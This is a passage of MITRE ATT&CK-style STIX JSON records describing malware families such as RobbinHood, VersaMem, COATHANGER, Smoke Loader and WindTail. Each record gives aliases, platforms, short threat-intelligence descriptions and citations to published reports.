India"],"x_mitre_aliases":["KOPILUWAK"],"type":"malware","id":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","created":"2023-05-17T18:49:25.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1075","external_id":"S1075"},{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RobbinHood"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","type":"malware","created":"2019-07-29T14:27:18.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0400","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0400"},{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"},{"description":"Duncan, I., Campbell, C. (2019, May 7). Baltimore city government computer network hit by ransomware attack. Retrieved July 29, 2019.","url":"https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html","source_name":"BaltimoreSun RobbinHood May 2019"}],"modified":"2020-03-30T18:05:52.348Z","name":"RobbinHood","description":"[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-28T09:58:35.558Z","name":"VersaMem","description":"[VersaMem](https://attack.mitre.org/software/S1154) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to target ISPs and MSPs. [VersaMem](https://attack.mitre.org/software/S1154) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.(Citation: Lumen Versa 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["VersaMem"],"type":"malware","id":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","created":"2024-08-27T19:00:38.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1154","external_id":"S1154"},{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0177","external_id":"S0177"},{"source_name":"MalwareTech Power Loader Aug 2013","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"},{"source_name":"WeLiveSecurity Gapz and Redyms Mar 2013","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"}],"modified":"2018-10-17T00:14:20.652Z","name":"Power Loader","description":"[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["TDTESS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0164","external_id":"S0164"},{"source_name":"TDTESS","description":"(Citation: ClearSky Wilted Tulip July 2017)"},{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2020-03-30T18:18:53.335Z","name":"TDTESS","description":"[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:46:10.914Z","name":"Chinoxy","description":"[Chinoxy](https://attack.mitre.org/software/S1041) is a backdoor that has been used since at least November 2018, during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign, to gain persistence and drop additional payloads. According to security researchers, [Chinoxy](https://attack.mitre.org/software/S1041) has been used by Chinese-speaking threat actors.(Citation: Bitdefender FunnyDream Campaign November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Chinoxy"],"type":"malware","id":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","created":"2022-09-21T16:46:22.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1041","external_id":"S1041"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SharpStage"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","type":"malware","created":"2020-12-22T17:02:52.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0546","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0546"},{"source_name":"SharpStage","description":"(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)"},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2021-08-18T23:48:44.783Z","name":"SharpStage","description":"[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-05T15:31:04.915Z","name":"COATHANGER","description":"[COATHANGER](https://attack.mitre.org/software/S1105) is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, [COATHANGER](https://attack.mitre.org/software/S1105) was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. [COATHANGER](https://attack.mitre.org/software/S1105) is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name [COATHANGER](https://attack.mitre.org/software/S1105) is based on a unique string in the malware used to encrypt configuration files on disk: “She took his coat and hung it up”.(Citation: NCSC-NL COATHANGER Feb 2024)","x_mitre_platforms":["Linux","Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["COATHANGER"],"type":"malware","id":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","created":"2024-02-07T18:33:18.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1105","external_id":"S1105"},{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-04T15:36:06.160Z","name":"Sardonic","description":"[Sardonic](https://attack.mitre.org/software/S1085) is a backdoor written in C and C++ that is known to be used by [FIN8](https://attack.mitre.org/groups/G0061), as early as August 2021 to target a financial institution in the United States. [Sardonic](https://attack.mitre.org/software/S1085) has a plugin system that can load specially made DLLs and execute their functions.(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Serhii Melnyk, Trustwave SpiderLabs"],"x_mitre_aliases":["Sardonic"],"type":"malware","id":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","created":"2023-09-05T15:56:46.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1085","external_id":"S1085"},{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:04:55.094Z","name":"Smoke Loader","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Smoke Loader","Dofoil"],"type":"malware","id":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0226","external_id":"S0226"},{"source_name":"Smoke Loader","description":"(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)"},{"source_name":"Dofoil","description":"(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)"},{"source_name":"Malwarebytes SmokeLoader 2016","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"},{"source_name":"Microsoft Dofoil 2018","description":"Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0151","external_id":"S0151"},{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","name":"HALFBAKED","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:39:43.747Z","name":"WindTail","description":"[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["WindTail"],"type":"malware","id":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","created":"2020-06-04T19:01:53.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0466","external_id":"S0466"},{"source_name":"SANS Windshift August 2018","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020.","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf"},{"source_name":"objective-see windtail1 dec 2018","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.","url":"https://objective-see.com/blog/blog_0x3B.html"},{"source_name":"objective-see windtail2 jan 2019","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.","url":"https://objective-see.com/blog/blog_0x3D.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-30T21:01:41.137Z","name":"Misdat","description":"[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) from 2010 to 2011.(Citation: Cylance Dust Storm)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Misdat"],"type":"malware","id":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","created":"2017-05-31T21:32:55.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0083","external_id":"S0083"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FLIPSIDE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0e18b800-906c-4e44-a143-b11c72b3448b","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0173","external_id":"S0173"},{"source_name":"FLIPSIDE","description":"(Citation: Mandiant FIN5 GrrCON Oct 2016)"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2020-03-30T16:24:24.753Z","name":"FLIPSIDE","description":"[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Linux Rabbit"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0efefea5-78da-4022-92bc-d726139e8883","type":"malware","created":"2019-03-04T17:12:37.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0362","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0362"},{"source_name":"anomali-linux-rabbit","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020."},{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2020-12-22T15:46:17.965Z","name":"Linux Rabbit","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)\n","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"x_mitre_aliases":["adbupd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0202","external_id":"S0202"},{"source_name":"adbupd","description":"(Citation: Microsoft PLATINUM April 2016)"},{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2020-03-30T18:33:31.623Z","name":"adbupd","description":"[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:35:14.040Z","name":"Emissary","description":"[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Emissary"],"type":"malware","id":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","created":"2017-05-31T21:32:54.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0082","external_id":"S0082"},{"source_name":"Emissary","description":"(Citation: Lotus Blossom Dec 2015)"},{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:34:14.304Z","name":"Exaramel for Linux","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Exaramel for Linux"],"type":"malware","id":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","created":"2019-08-26T13:02:46.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0401","external_id":"S0401"},{"source_name":"Exaramel for Linux","description":"(Citation: ESET TeleBots Oct 2018)"},{"source_name":"ESET TeleBots Oct 2018","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["KEYMARBLE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0271","external_id":"S0271"},{"source_name":"KEYMARBLE","description":"(Citation: US-CERT KEYMARBLE Aug 2018)"},{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-30T16:53:14.872Z","name":"KEYMARBLE","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BUBBLEWRAP","Backdoor.APT.FakeWinHTTPHelper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--123bd7b3-675c-4b1a-8482-c55782b20e2b","type":"malware","created":"2017-05-31T21:32:33.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0043","external_id":"S0043"},{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-30T15:03:26.307Z","name":"BUBBLEWRAP","description":"[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:23:13.352Z","name":"HAWKBALL","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 